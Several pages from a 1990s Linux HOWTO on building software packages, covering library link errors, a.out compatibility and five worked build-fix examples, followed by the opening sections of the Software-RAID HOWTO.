Contents


Building and Installing Software Packages for Linux: Termcap and Terminfo Issues

 Next Previous Contents

5. Termcap and Terminfo Issues

According to its man page, "terminfo is a data base describing terminals, used by screen-oriented programs...". It defines a generic set of control sequences (escape codes) used to display text on terminals, and makes possible support for different terminal hardware without the need for special drivers. The terminfo libraries are located in /usr/share/terminfo on modern Linux distributions.

The terminfo database has largely supplanted the older termcap and the totally obsolete termlib ones. This is usually of no concern for program installation except when dealing with a package that requires termcap.

Most Linux distributions now use terminfo, but still retain the older termcap libraries for compatibility with legacy applications (see /etc/termcap). Sometimes there is a special compatibility package that needs to be installed to facilitate use of termcap linked binaries. Very occasionally, an #define termcap statement might need to be commented out of a source file. Check the appropriate doc files for your particular distribution for definitive information on this.


Building and Installing Software Packages for Linux: Backward Compatibility With a.out Binaries

 Next Previous Contents

6. Backward Compatibility With a.out Binaries

In a very few cases, it is necessary to use a.out binaries, either because the source code is not available or because it is not possible to build new ELF binaries from the source for some reason.

As it happens, ELF installations almost always have a complete set of a.out libraries in the /usr/i486-linuxaout/lib directory. The numbering scheme for a.out libraries differs from that of ELF ones, cleverly avoiding conflicts that could cause confusion. The a.out binaries should therefore be able to find the correct libraries at runtime, but this might not always be the case.

Note that the kernel needs to have a.out support built into it, either directly or as a loadable module. It may be necessary to rebuild the kernel to enable this. Moreover, some Linux distributions require installation of a special compatibility package, such as Debian's xcompat for executing a.out X applications.

6.1 An Example

Jerry Smith wrote a very handy rolodex program some years back. It uses the Motif libraries, but fortunately is available as a statically linked binary in a.out format. Unfortunately, the source requires numerous tweaks to rebuild using the lesstif libraries. Even more unfortunately, the a.out binary bombs on an ELF system with the following error message.

xrolodex: can't load library '//lib/libX11.so.3'
No such library

As it happens, there is such a library, in /usr/i486-linuxaout/lib, but xrolodex is unable to locate it at run time. The simple solution is to provide a symbolic link in the /lib directory:

ln -s /usr/i486-linuxaout/lib/X11.so.3.1.0 libX11.so.3

It turns out to be necessary to provide similar links for the libXt.so.3 and libc.so.4 libraries. This needs to be done as root, of course. Note that you should make absolutely certain you will not overwrite or cause version number conflicts with pre-existing libraries. Fortunately, the new ELF libraries have higher version numbers than the older a.out ones, to anticipate and forestall just such problems.

After creating the three links, xrolodex runs fine.

The xrolodex package was originally posted on Spectro, but seems to vanished from there. It may currently be downloaded from Sunsite as a tar.Z format source file [512k].


Building and Installing Software Packages for Linux: Troubleshooting

 Next Previous Contents

7. Troubleshooting

If xmkmf and/or make succeeded without errors, you may proceed to the next section. However, in "real life", few things work right the first time. This is when your resourcefulness is put to the test.

7.1 Link Errors

  • Suppose make fails with a Link error: -lX11: No such file or directory, even after xmkmf has been invoked. This may mean that the Imake file was not set up properly. Check the first part of the Makefile for lines such as:
    LIB=            -L/usr/X11/lib
INCLUDE=        -I/usr/X11/include/X11
LIBS=           -lX11 -lc -lm
    The -L and -I switches tell the compiler and linker where to look for the library and include files, respectively. In this example, the X11 libraries should be in the /usr/X11/lib directory, and the X11 include files should be in the /usr/X11/include/X11 directory. If this is incorrect for your machine, make the necessary changes to the Makefile and try the make again.

  • Undefined references to math library functions, such as the following:
             /tmp/cca011551.o(.text+0x11): undefined reference to `cos'
    The fix for this is to explicitly link in the math library, by adding an -lm to the LIB or LIBS flags in the Makefile (see previous example).

  • Yet another thing to try if xmkmf fails is the following script:
             make -DUseInstalled -I/usr/X386/lib/X11/config
    This is a sort of bare bones equivalent of xmkmf.

  • In a very few cases, running ldconfig as root may be the solution:

# ldconfig updates the shared library symbolic links. This
may not be necessary .

    •

  • Some Makefiles use unrecognized aliases for libraries
present in your system. For example, the build may require
libX11.so.6, but there exists no such file or link in
/usr/X11R6/lib. Yet, there is a libX11.so.6.1. The
solution is to do a ln -s /usr/X11R6/lib/libX11.so.6.1
/usr/X11R6/lib/libX11.so.6, as root. This may need to be followed
by a ldconfig.

    •

  • Sometimes the source needs the older release X11R5 libraries to
build.  If you have the R5 libs in /usr/X11R6/lib (you were given the
option of having them when first installing Linux), then you need only
ensure that you have the links that the software needs to build.  The
R5 libs are named libX11.so.3.1.0,
libXaw.so.3.1.0, and libXt.so.3.1.0. You generally
need links, such as libX11.so.3 -> libX11.so.3.1.0. Possibly
the software will also need a link of the form libX11.so ->
libX11.so.3.1.0.  Of course, to create a "missing" link, use the
command ln -s libX11.so.3.1.0 libX11.so, as root.

    •

  • Some packages will require you to install updated versions of one or
more libraries. For example, the 4.x versions of the StarOffice
suite from StarDivision GmbH were notorious for needing a libc
version 5.4.4 or greater. Even the more recent StarOffice 5.0
will not run after installation with the new glibc 2.1 libs.
Fortunately, the newer StarOffice 5.1 solves these problems.
If running an older version of StarOffice you would, as
root, need to copy one or more libraries to the appropriate
directories, remove the old libraries, then reset the symbolic links
(check the latest version of the StarOffice miniHOWTO for more
information on this).

Caution: Exercise extreme care in this, as you can render your
system nonfunctional if you screw up.

You can usually find the latest updated libraries at
Sunsite.

    •

7.2 Other Problems

  • An installed Perl or shell script gives you a No such
file or directory error message. In this case, check the file
permissions to make sure the file is executable and check the file
header to ascertain whether the shell or program invoked by the script
is in the place specified.
For example, the scrip may begin with:

    #!/usr/local/bin/perl

If Perl is in fact installed in your /usr/bin
directory instead of the /usr/local/bin one, then the script
will not run.  There are two methods of correcting this. The
script file header may be changed to #!/usr/bin/perl, or
a symbolic link to the correct directory may be added, ln -s
/usr/bin/perl /usr/local/bin/perl.

    •

  • Some X11 software requires the Motif libraries to build.
The standard Linux distributions do not have the Motif libraries
installed, and at present Motif costs an extra $100-$200 (though the
freeware
Lesstif also works
in many cases). If you need Motif to build a certain package, but lack
the Motif libraries, it may be possible to obtain statically linked
binaries. Static linking incorporates the library routines in the
binaries themselves.  This results in much larger binary files, but the
code will run on systems lacking the libraries.

When a package requires libraries not present on your system for the
build, it will result in link errors (undefined reference
errors).  The libraries may be expensive proprietary ones or difficult
to find for sone other reason.  In that case, obtaining a statically
linked binary either from the author of the package or from a Linux
user group may be the easiest to implement fix.

    •

  • Running a configure script creates a strange Makefile, one
seemingly unrelated to the package you are attempting to build. This
means the wrong configure ran, one found somewhere else in your
path. Always invoke configure as ./configure to
prevent this.
    •

  • Most Linux distributions have changed over to the libc 6 / glibc
2 libraries from the older libc 5. Precompiled binaries
that worked with the older library may bomb if you have upgraded your
library. The solution is to either recompile the applications from the
source or to obtain newer precompiled binaries.  If you are in the process
of upgrading your system to libc 6 and are experiencing problems,
refer to Eric Green's Glibc 2 HOWTO.

Note that there are some minor incompatibilities between glibc
versions, so a binary built with glibc 2.1 may not work with
glibc 2.0, and vice versa.

    •

  • Sometimes it is necessary to remove the -ansi option from the
compile flags in the Makefile. This enables gcc's extra, non-ANSI features,
and allows building packages that require these extensions. (Thanks to Sebastien
Blondeel for pointing this out.)
    •

  • Some programs require having setuid root, in order to run
with root privileges. The command to implement this is
chmod u+s filename, as root (note that the program
must already be owned by root). This has the effect of setting
the setuid bit in the file permissions.  This issue comes up
when the program accesses the system hardware, such as a modem or CD ROM
drive, or when the SVGA libs are invoked from console mode, as in one
particularly notorious emulation package. If a program works when run by
root, but gives access denied error messages to an ordinary
user, suspect this as the cause.

    Warning:
A program with setuid as root may pose a security risk to your
system. The program runs with root privileges and thus has the potential
for doing significant damage. Make certain that you know what the
program does, by looking at the source if possible, before setting the
setuid bit.

    •

7.3 Tweaking and fine tuning

You may wish to examine the Makefile to make certain that
the best compilation options for your system are invoked. For example,
setting the -O2 flag chooses the highest level of optimization
and the -fomit-frame-pointer flag results in a smaller binary
(though debugging will then be disabled). Do not play around with
this unless you know what you are doing, and in any case, not until
after a trial build works.

7.4 Where to go for more help

In my experience, perhaps 25% of applications build "right out
of the box". Another 50% or so can be "persuaded" to build with
an effort ranging from trivial to herculean. That still means a
significant number of packages will not build no matter what. Even
then, the Intel ELF and/or a.out binaries for
these might possibly be found at
Sunsite or the
TSX-11 archive.
Red Hat and
Debian have extensive archives of
prepackaged binaries of most of the popular Linux software.  Perhaps
the author of the software can supply the binaries compiled for your
particular flavor of machine.

Note that if you obtain precompiled binaries, you will need to check
for compatibility with your system:

  • The binaries must run on your hardware (i.e., Intel
x86).
    •

  • The binaries must be compatible with your kernel (i.e., a.out or
ELF).
    •

  • Your libraries must be up to date.
    •

  • Your system must have the appropriate installation utility (rpm or
deb).
    •

If all else fails, you may find help in the appropriate
newsgroups, such as
comp.os.linux.x or
comp.os.linux.development.

If nothing at all works, at least you gave it your best effort, and you
learned a lot.

Next
Previous
Contents


Building and Installing Software Packages for Linux: Final Steps

 Next Previous Contents

8. Final Steps

Read the software package documentation to determine whether certain environmental variables need setting (in .bashrc or .cshrc) and if the .Xdefaults and .Xresources files need customizing.

There may be an applications default file, usually named Xfoo.ad in the original Xfoo distribution. If so, edit the Xfoo.ad file to customize it for your machine, then rename (mv) it Xfoo and install it in the /usr/lib/X11/app-defaults directory, as root. Failure to do this may cause the software to behave strangely or even refuse to run.

Most software packages come with one or more preformatted man pages. As root, copy the Xfoo.man file to the appropriate /usr/man, /usr/local/man, or /usr/X11R6/man directory (man1 - man9), and rename it accordingly. For example, if Xfoo.man ends up in /usr/man/man4, it should be renamed Xfoo.4 (mv Xfoo.man Xfoo.4). By convention, user commands go in man1, games in man6, and administration packages in man8 (see the man docs for more details). Of course, you may deviate from this on your own system, if you like.

A few packages will not install the binaries in the appropriate system directories, that is, they are missing the install option in the Makefile. Should this be the case, you can install the binaries manually by copying the binaries to the appropriate system directory, /usr/bin, /usr/local/bin or /usr/X11R6/bin, as root, of course. Note that /usr/local/bin is the preferred directory for binaries that are not part of the Linux distribution's base install.

Some or all of the above procedures should, in most cases, be handled automatically by a make install, and possibly a make install.man or make install_man. If so, the README or INSTALL doc file will specify this.


Building and Installing Software Packages for Linux: First Example: Xscrabble

 Next Previous Contents

9. First Example: Xscrabble

Matt Chapman's Xscrabble seemed like a program that would be interesting to have, since I happen to be an avid ScrabbleTM player. I downloaded it, uncompressed it, and built it following the procedure in the README file:

     xmkmf
     make Makefiles
     make includes
     make

Of course it did not work...

gcc -o xscrab -O2 -O -L/usr/X11R6/lib
init.o xinit.o misc.o moves.o cmove.o main.o xutils.o mess.o popup.o
widgets.o display.o user.o CircPerc.o
-lXaw -lXmu -lXExExt -lXext -lX11 -lXt -lSM -lICE -lXExExt -lXext -lX11
-lXpm -L../Xc -lXc

BarGraf.o(.text+0xe7): undefined reference to `XtAddConverter'
BarGraf.o(.text+0x29a): undefined reference to `XSetClipMask'
BarGraf.o(.text+0x2ff): undefined reference to `XSetClipRectangles'
BarGraf.o(.text+0x375): undefined reference to `XDrawString'
BarGraf.o(.text+0x3e7): undefined reference to `XDrawLine'
etc.
etc.
etc...

I enquired about this in the comp.os.linux.x newsgroup, and someone kindly pointed out that apparently the Xt, Xaw, Xmu, and X11 libs were not being found at the link stage. Hmmm...

There were two main Makefiles, and the one in the src directory caught my interest. One line in the Makefile defined LOCAL_LIBS as: LOCAL_LIBS = $(XAWLIB) $(XMULIB) $(XTOOLLIB) $(XLIB) Here were references to the libs not being found by the linker.

Looking for the next reference to LOCAL_LIBS, I saw on line 495 of that Makefile:

      $(CCLINK) -o $@ $(LDOPTIONS) $(OBJS) $(LOCAL_LIBS) $(LDLIBS)
$(EXTRA_LOAD_FLAGS)

Now what were these LDLIBS?

      LDLIBS = $(LDPOSTLIB) $(THREADS_LIBS) $(SYS_LIBRARIES)
$(EXTRA_LIBRARIES)

The SYS_LIBRARIES were:

 SYS_LIBRARIES = -lXpm -L../Xc -lXc
Yes! Here were the missing libraries.

Possibly the linker needed to see the LDLIBS before the LOCAL_LIBS... So, the first thing to try was to modify the Makefile by transposing the $(LOCAL_LIBS) and $(LDLIBS) on line 495, so it would now read:

        $(CCLINK) -o $@ $(LDOPTIONS) $(OBJS) $(LDLIBS) $(LOCAL_LIBS)
$(EXTRA_LOAD_FLAGS)                          ^^^^^^^^^^^^^^^^^^^^^^^

I tried running make again with the above change, and lo and behold, it worked this time. Of course, Xscrabble still needed some fine tuning and twiddling, such as renaming the dictionary and commenting out some assert statements in one of the source files, but since then it has provided me with many hours of pleasure.

[Note that a newer version of Xscrabble is now available in rpm format, and this installs without problems.]

You may e-mail Matt Chapman, and download Xscrabble from his home page.

       Scrabble is a registered trademark of the Milton Bradley Co., Inc.


Building and Installing Software Packages for Linux: Second Example: Xloadimage

 Next Previous Contents

10. Second Example: Xloadimage

This example poses an easier problem. The xloadimage program seemed a useful addition to my set of graphic tools. I copied the xloadi41.gz file directly from the source directory on the CD included with the excellent X User Tools book, by Mui and Quercia. As expected, tar xzvf unarchives the files. The make, however, produces a nasty-looking error and terminates.

gcc -c -O -fstrength-reduce -finline-functions -fforce-mem
-fforce-addr -DSYSV  -I/usr/X11R6/include
-DSYSPATHFILE=\"/usr/lib/X11/Xloadimage\" mcidas.c

In file included from /usr/include/stdlib.h:32,
                 from image.h:23,
                 from xloadimage.h:15,
                 from mcidas.c:7:
/usr/lib/gcc-lib/i486-linux/2.6.3/include/stddef.h:215:
conflicting types for `wchar_t'
/usr/X11R6/include/X11/Xlib.h:74: previous declaration of
`wchar_t'
make[1]: *** [mcidas.o] Error 1
make[1]: Leaving directory
`/home/thegrendel/tst/xloadimage.4.1'
make: *** [default] Error 2

The error message contains the essential clue.

Looking at the file image.h, line 23...

       #include <stdlib.h>

Aha, somewhere in the source for xloadimage, wchar_t has been redefined from what was specified in the standard include file, stdlib.h. Let us first try commenting out line 23 in image.h, as perhaps the stdlib.h include is not, after all, necessary.

At this point, the build proceeds without any fatal errors. The xloadimage package functions correctly now.


Building and Installing Software Packages for Linux: Third Example: Fortune

 Next Previous Contents

11. Third Example: Fortune

This example requires some knowledge of C programming. The majority of UNIX/Linux software is written in C, and learning at least a little bit of C would certainly be an asset for anyone serious about software installation.

The notorious fortune program displays up a humorous saying, a "fortune cookie", every time Linux boots up. Unfortunately (pun intended), attempting to build fortune on a Red Hat distribution with a 2.0.30 kernel generates fatal errors.

~/fortune# make all

gcc -O2 -Wall -fomit-frame-pointer -pipe   -c fortune.c -o
fortune.o
fortune.c: In function `add_dir':
fortune.c:551: structure has no member named `d_namlen'
fortune.c:553: structure has no member named `d_namlen'
make[1]: *** [fortune.o] Error 1
make[1]: Leaving directory `/home/thegrendel/for/fortune/fortune'
make: *** [fortune-bin] Error 2

Looking at fortune.c, the pertinent lines are these.

   if (dirent->d_namlen == 0)
            continue;
        name = copy(dirent->d_name, dirent->d_namlen);

We need to find the structure dirent, but it is not declared in the fortune.c file, nor does a grep dirent show it in any of the other source files. However, at the top of fortune.c, there is the following line.

#include <dirent.h>

This appears to be a system library include file, therefore, the logical place to look for dirent.h is in /usr/include. Indeed, there does exist a dirent.h file in /usr/include, but that file does not contain the declaration of the dirent structure. There is, however, a reference to another dirent.h file.

#include <linux/dirent.h>

At last, going to /usr/include/linux/dirent.h, we find the structure declaration we need.

struct dirent {
        long            d_ino;
        __kernel_off_t  d_off;
        unsigned short  d_reclen;
        char            d_name[256]; /* We must not include
limits.h! */
};

Sure enough, the structure declaration contains no d_namelen, but there are a couple of "candidates" for its equivalent. The most likely of these is d_reclen, since this structure member probably represents the length of something and it is a short integer. The other possibility, d_ino, could be an inode number, judging by its name and type. As a matter of fact, we are probably dealing with a "directory entry" structure, and these elements represent attributes of a file, its name, inode, and length (in blocks). This would seem to validate our guess.

Let us edit the file fortune.c, and change the two d_namelen references in lines 551 and 553 to d_reclen. Try a make all again. Success. It builds without errors. We can now get our "cheap thrills" from fortune.


Building and Installing Software Packages for Linux: Fourth Example: Hearts

 Next Previous Contents

12. Fourth Example: Hearts

Here is the hoary old game of Hearts, written for UNIX systems by Bob Ankeney sometime in the '80's, revised in 1992 by Mike Yang, and currently maintained by Jonathan Badger. Its predecessor was an even older Pascal program by Don Backus of Oregon Software, later updated by Jeff Hemmerling. Originally intended as a multiplayer client, it also works well in single-player mode against computer opponents. The graphics are nice, though the game lacks sophisticated features and the computer players are not particularly strong. All the same, it seems to be the only decent Hearts game available for UNIX and Linux machines even at this late date.

Due to its age and lineage, this package is particularly difficult to build on a Linux system. It requires solving a long and perplexing series of puzzles. It is an exercise in patience and determination.

Before beginning, make certain that you have either the motif or lesstif libraries installed.

xmkmf

make

client.c: In function `read_card':
client.c:430: `_tty' undeclared (first use in this function)
client.c:430: (Each undeclared identifier is reported only once
client.c:430: for each function it appears in.)
client.c: In function `scan':
client.c:685: `_tty' undeclared (first use in this function)
make: *** [client.o] Error 1

These are the culprits in the file client.c:

#ifndef SYSV
        (buf[2] != _tty.sg_erase) && (buf[2] != _tty.sg_kill)) {
 #else
        (buf[2] != CERASE) && (buf[2] != CKILL)) {
#endif

In client.c, add

#define SYSV
at line 39. This will bypass the reference to _tty.

make

client.c:41: sys/termio.h: No such file or directory
make: *** [client.o] Error 1

The include file termio.h is in the /usr/include directory on a Linux system, rather than the /usr/include/sys one, as was the case on older UNIX machines. Therefore, change line 41 of client.c from

#include <sys/termio.h>
to
#include <termio.h>

make

gcc -o hearts -g      -L/usr/X11R6/lib client.o hearts.o select.o connect.o
sockio.o start_dist.o  -lcurses -ltermlib
/usr/bin/ld: cannot open -ltermlib: No such file or directory
collect2: ld returned 1 exit status
make: *** [hearts] Error 1

Modern Linux distributions use the terminfo and/or termcap database, rather than the obsolete termlib one.

Edit the Makefile.

Line 655:

CURSES_LIBRARIES = -lcurses -ltermlib

changes to:

CURSES_LIBRARIES = -lcurses -ltermcap

make

gcc -o xmhearts -g      -L/usr/X11R6/lib xmclient.o hearts.o select.o
connect.o sockio.o start_dist.o gfx.o  -lXm_s -lXt -lSM -lICE -lXext -lX11
-lPW
/usr/bin/ld: cannot open -lXm_s: No such file or directory
collect2: ld returned 1 exit status

The main lesstif library is libXm, rather than libXm_s. Therefore, edit the Makefile.

In line 653:

XMLIB = -lXm_s $(XTOOLLIB) $(XLIB) -lPW

changes to:

XMLIB = -lXm $(XTOOLLIB) $(XLIB) -lPW

make

gcc -o xmhearts -g      -L/usr/X11R6/lib xmclient.o hearts.o select.o
connect.o sockio.o start_dist.o gfx.o  -lXm -lXt -lSM -lICE -lXext -lX11 -lPW
/usr/bin/ld: cannot open -lPW: No such file or directory
collect2: ld returned 1 exit status
make: *** [xmhearts] Error 1

Round up the usual suspects.

There is no PW library. Edit the Makefile.

Line 653:

XMLIB = -lXm $(XTOOLLIB) $(XLIB) -lPW

changes to:

XMLIB = -lXm $(XTOOLLIB) $(XLIB) -lPEX5
(The PEX5 lib comes closest to PW.)

make

rm -f xmhearts
gcc -o xmhearts -g      -L/usr/X11R6/lib xmclient.o hearts.o select.o
connect.o sockio.o start_dist.o gfx.o  -lXm -lXt -lSM -lICE -lXext -lX11 -lPEX5

The make finally works (hurray!).

Installation:

As root,

[root@localhost hearts]# make install
install -c -s  hearts /usr/X11R6/bin/hearts
install -c -s  xmhearts /usr/X11R6/bin/xmhearts
install -c -s  xawhearts /usr/X11R6/bin/xawhearts
install in . done

Test run:

rehash

(We're running the tcsh shell.)

xmhearts

localhost:~/% xmhearts
Can't invoke distributor!

From README file in the hearts package:

     Put heartsd, hearts_dist, and hearts.instr in the HEARTSLIB
     directory defined in local.h and make them world-accessible.

From the file local.h:

/* where the distributor, dealer and instructions live */

#define HEARTSLIB "/usr/local/lib/hearts"

This is a classic case of RTFM.

As root,

cd /usr/local/lib

mkdir hearts

cd !$

Copy the distributor files to this directory.

cp /home/username/hearts/heartsd .

cp /home/username/hearts/hearts_dist .

cp /home/username/hearts/hearts.instr .

Try another test run.

xmhearts

It works some of the time, but more often than not crashes with a dealer died! message.

The "distributor" and "dealer" scan the hardware ports. We should thus suspect that those programs need root user privileges.

Try, as root,

chmod u+s /usr/local/lib/heartsd

chmod u+s /usr/local/lib/hearts_dist

(Note that, as previously discussed, suid binaries may create security holes.)

xmhearts

It finally works!

Hearts is available from Sunsite.


Building and Installing Software Packages for Linux: Fifth Example: XmDipmon

 Next Previous Contents

13. Fifth Example: XmDipmon

Bullwinkle: Hey Rocky, watch me pull a rabbit out of my hat.
Rocky:      But that trick never works.
Bullwinkle: This time for sure.
            Presto!
            Well, I'm gettin' close.
Rocky:      And now it's time for another special feature.
            --- "Rocky and His Friends"

XmDipmon is a nifty little application that displays a button showing the status of an Internet connection. It flashes and beeps when the connection is broken, as is all too often the case in on rural telephone systems. Unfortunately, XmDipmon works only with dip, making it useless for those people, the majority, who use chat to connect.

Building XmDipmon is not a problem. XmDipmon links to the Motif libraries, but it builds and works fine with Lesstif. The challenge is to alter the package to work when using chat. This involves actually tinkering with the source code, and necessarily requires some programming knowledge.

        "When xmdipmon starts up, it checks for a file called /etc/dip.pid
         (you can let it look at another file by using the -pidfile
         command line option).  This file contains the PID of the dip
         deamon (dip switches itself into deamon mode once it has
         established a connection)."
                       --- from the XmDipmon README file

Using the -pidfile option, the program can be directed to check for a different file upon startup, one that exists only during a successful chat login. The obvious candidate is the modem lock file. We could therefore try invoking the program with xmdipmon -pidfile /var/lock/LCK..ttyS3 (this assumes that the modem is on com port #4, ttyS3). This only solves part of the problem, however. The program continually monitors the dip daemon, and we need to change this so it instead polls a process associated with chat or ppp.

There is only a single source file, and fortunately it is well-commented. Scanning the xmdipmon.c file, we find the getProcFile function, whose header description reads as follows.

/*****
* Name:                 getProcFile
* Return Type:  Boolean
* Description:  tries to open the /proc entry as read from the dip pid file.
<snip>
*****/

We are hot on the trail now. Tracing into the body of the function...

                        /* we watch the status of the real dip deamon */
                        sprintf(buf, "/proc/%i/status", pid);
                        procfile = (String)XtMalloc(strlen(buf)*sizeof(char)+1);
                        strcpy(procfile, buf);
                        procfile[strlen(buf)] = '\0';

The culprit is line 2383:

                        sprintf(buf, "/proc/%i/status", pid);
                                      ^^^^^^^^^^^^^^^^^^^^^

This checks whether the dip daemon process is running . So, how can we change this to monitor the pppd daemon instead?

Looking at the pppd manpage:

FILES
       /var/run/pppn.pid (BSD or Linux), /etc/ppp/pppn.pid (others)
                     Process-ID for pppd process on ppp interface unit n.

Change line 2383 in xmdipmon.c to:

                        sprintf(buf, "/var/run/ppp0.pid" );

Rebuild the revised package. No problems with the build. Now test it with the new command line argument. It works like a charm. The little blue button indicates when a ppp connection to the ISP has been established, and flashes and beeps when the connection is broken. Now we have a fully functional chat monitor.

XmDipmon can be downloaded from Ripley Linux Tools.


Building and Installing Software Packages for Linux: Where to Find Source Archives

 Next Previous Contents

14. Where to Find Source Archives

Now that you are eager to use your newly acquired knowledge to add utilities and other goodies to your system, you may find them online at the Linux Applications and Utilities Page, or on one of the very reasonably priced CD ROM archives by Red Hat, InfoMagic, Linux Systems Labs, Cheap Bytes, and others.

A comprehensive repository of source code is the comp sources UNIX archive.

Much UNIX source code is posted on the alt.sources newsgroup. If you are looking for particular source code packages, you may post on the related alt.sources.wanted newsgroup. Another good place to check is the comp.os.linux.announce newsgroup. To get on the Unix sources mailing list, send a subscribe message there.

Archives for the alt.sources newsgroup are at the following ftp sites:

  • ftp.sterling.com/usenet/alt.sources/
  • wuarchive.wustl.edu/usenet/alt.sources/articles
  • src.doc.ic.ac.uk/usenet/alt.sources/articles


Building and Installing Software Packages for Linux: Final Words

 Next Previous Contents

15. Final Words

To sum up, persistence makes all the difference (and a high frustration threshold certainly helps). As in all endeavors, learning from mistakes is critically important. Each misstep, every failure contributes to the body of knowledge that will lead to mastery of the art of building software.


Building and Installing Software Packages for Linux: References and Further Reading

 Next Previous Contents

16. References and Further Reading

BORLAND C++ TOOLS AND UTILITIES GUIDE, Borland International, 1992,
pp. 9-42.
[One of the manuals distributed with Borland C++, ver. 3.1. Gives
a fairly good intro to make syntax and concepts, using Borland's
crippled implementation for DOS.]

DuBois, Paul: SOFTWARE PORTABILITY WITH IMAKE, O'Reilly and Associates,
1996, ISBN 1-56592-226-3.
[This is reputed to be the definitive imake reference, though I did not
have it available when writing this article.]

Frisch, Aeleen: ESSENTIAL SYSTEM ADMINISTRATION (2nd ed.), O'Reilly and
Associates, 1995, ISBN 1-56592-127-5.
[This otherwise excellent sys admin handbook has only sketchy coverage
of software building.]

Hekman, Jessica: LINUX IN A NUTSHELL, O'Reilly and Associates, 1997, ISBN
1-56592-167-4.
[Good all-around reference to Linux commands.]

Lehey, Greg: PORTING UNIX SOFTWARE, O'Reilly and Associates, 1995, ISBN
1-56592-126-7.

Mayer, Herbert G.: ADVANCED C PROGRAMMING ON THE IBM PC, Windcrest Books,
1989, ISBN 0-8306-9363-7.
[An idea-filled book for the intermediate to advanced C programmer.
Superb coverage of algorithms, quirks of the language, and even
amusements.  Unfortunately, out of print.]

Mui, Linda and Valerie Quercia: X USER TOOLS, O'Reilly and Associates,
1994, ISBN 1-56592-019-8, pp. 734-760.

Oram, Andrew and Steve Talbott: MANAGING PROJECTS WITH MAKE, O'Reilly
and Associates, 1991, ISBN 0-937175-90-0.

Peek, Jerry and Tim O'Reilly and Mike Loukides: UNIX POWER TOOLS,
O'Reilly and Associates / Random House, 1997, ISBN 1-56592-260-3.
[A wonderful source of ideas, and tons of utilities you may end up
building from the source code, using the methods discussed in
this article.]

Stallman, Richard M. and Roland McGrath: GNU MAKE, Free Software
Foundation, 1995, ISBN 1-882114-78-7.
[Required reading.]

Waite, Mitchell, Stephen Prata, and Donald Martin: C PRIMER PLUS, Waite Group
Press, ISBN 0-672-22090-3,.
[Probably the best of the introductions to C programming.  Extensive
coverage for a primer.  Newer editions now available.]

Welsh, Matt and Lar Kaufman: RUNNING LINUX, O'Reilly and Associates,
1996, ISBN 1-56592-151-8.
[Still the best overall Linux reference, though lacking in depth
in some areas.]

The man pages for dpkg, gcc, gzip, imake, ldconfig, ldd, make, nm, patch,
rpm, shar, strip, tar, termcap, terminfo, and xmkmf.

The BZIP2 HOWTO, by David Fetter.

The Glibc2 HOWTO, by Eric Green

The LINUX ELF HOWTO, by Daniel Barlow.

The RPM HOWTO, by Donnie Barnes.

The StarOffice miniHOWTO, by Matthew Borowski.

[These HOWTOs should be in the /usr/doc/HOWTO or /usr/doc/HOWTO/mini directory on your system. Updated versions are available in text, HTML, and SGML format from the LDP site, and usually from the respective authors' home sites.]


Building and Installing Software Packages for Linux: Credits

 Next Previous Contents

17. Credits

The author of this HOWTO would like to thank the following persons for their helpful suggestions, corrections, and encouragement.

  • R. Brock Lynn
  • Michael Jenner
  • Fabrizio Stefani

Kudos also go to the fine people who have translated this HOWTO into Italian and Japanese.

And, of course, thanks, praise, benedictions and hosannahs to Greg Hankins and Tim Bynum of the Linux Documentation Project, which has made all this possible.


Software-RAID HOWTO

Linas Vepstas, linas@linas.org

v0.54, 21 November 1998

RAID stands for ''Redundant Array of Inexpensive Disks'', and is meant to be a way of creating a fast and reliable disk-drive subsystem out of individual disks. RAID can guard against disk failure, and can also improve performance over that of a single disk drive. This document is a tutorial/HOWTO/FAQ for users of the Linux MD kernel extension, the associated tools, and their use. The MD extension implements RAID-0 (striping), RAID-1 (mirroring), RAID-4 and RAID-5 in software. That is, with MD, no special hardware or disk controllers are required to get many of the benefits of RAID.

Preamble

This document is copyrighted and GPL'ed by Linas Vepstas ( linas@linas.org). Permission to use, copy, distribute this document for any purpose is hereby granted, provided that the author's / editor's name and this notice appear in all copies and/or supporting documents; and that an unmodified version of this document is made freely available. This document is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY, either expressed or implied. While every effort has been taken to ensure the accuracy of the information documented herein, the author / editor / maintainer assumes NO RESPONSIBILITY for any errors, or for any damages, direct or consequential, as a result of the use of the information documented herein.

RAID, although designed to improve system reliability by adding redundancy, can also lead to a false sense of security and confidence when used improperly. This false confidence can lead to even greater disasters. In particular, note that RAID is designed to protect against *disk* failures, and not against *power* failures or *operator* mistakes. Power failures, buggy development kernels, or operator/admin errors can lead to damaged data that it is not recoverable! RAID is *not* a substitute for proper backup of your system. Know what you are doing, test, be knowledgeable and aware!

1. Introduction

2. Understanding RAID

3. Setup & Installation Considerations

4. Error Recovery

5. Troubleshooting Install Problems

6. Supported Hardware & Software

7. Modifying an Existing Installation

8. Performance, Tools & General Bone-headed Questions

9. High Availability RAID

10. Questions Waiting for Answers

11. Wish List of Enhancements to MD and Related Software


Software-RAID HOWTO: Introduction

 Next Previous Contents

1. Introduction

  1. Q: What is RAID?
    A: RAID stands for "Redundant Array of Inexpensive Disks", and is meant to be a way of creating a fast and reliable disk-drive subsystem out of individual disks. In the PC world, "I" has come to stand for "Independent", where marketing forces continue to differentiate IDE and SCSI. In it's original meaning, "I" meant "Inexpensive as compared to refrigerator-sized mainframe 3380 DASD", monster drives which made nice houses look cheap, and diamond rings look like trinkets.
  2. Q: What is this document?
    A: This document is a tutorial/HOWTO/FAQ for users of the Linux MD kernel extension, the associated tools, and their use. The MD extension implements RAID-0 (striping), RAID-1 (mirroring), RAID-4 and RAID-5 in software. That is, with MD, no special hardware or disk controllers are required to get many of the benefits of RAID.

    This document is NOT an introduction to RAID; you must find this elsewhere.

  3. Q: What levels of RAID does the Linux kernel implement?
    A: Striping (RAID-0) and linear concatenation are a part of the stock 2.x series of kernels. This code is of production quality; it is well understood and well maintained. It is being used in some very large USENET news servers.

    RAID-1, RAID-4 & RAID-5 are a part of the 2.1.63 and greater kernels. For earlier 2.0.x and 2.1.x kernels, patches exist that will provide this function. Don't feel obligated to upgrade to 2.1.63; upgrading the kernel is hard; it is *much* easier to patch an earlier kernel. Most of the RAID user community is running 2.0.x kernels, and that's where most of the historic RAID development has focused. The current snapshots should be considered near-production quality; that is, there are no known bugs but there are some rough edges and untested system setups. There are a large number of people using Software RAID in a production environment.

    RAID-1 hot reconstruction has been recently introduced (August 1997) and should be considered alpha quality. RAID-5 hot reconstruction will be alpha quality any day now.

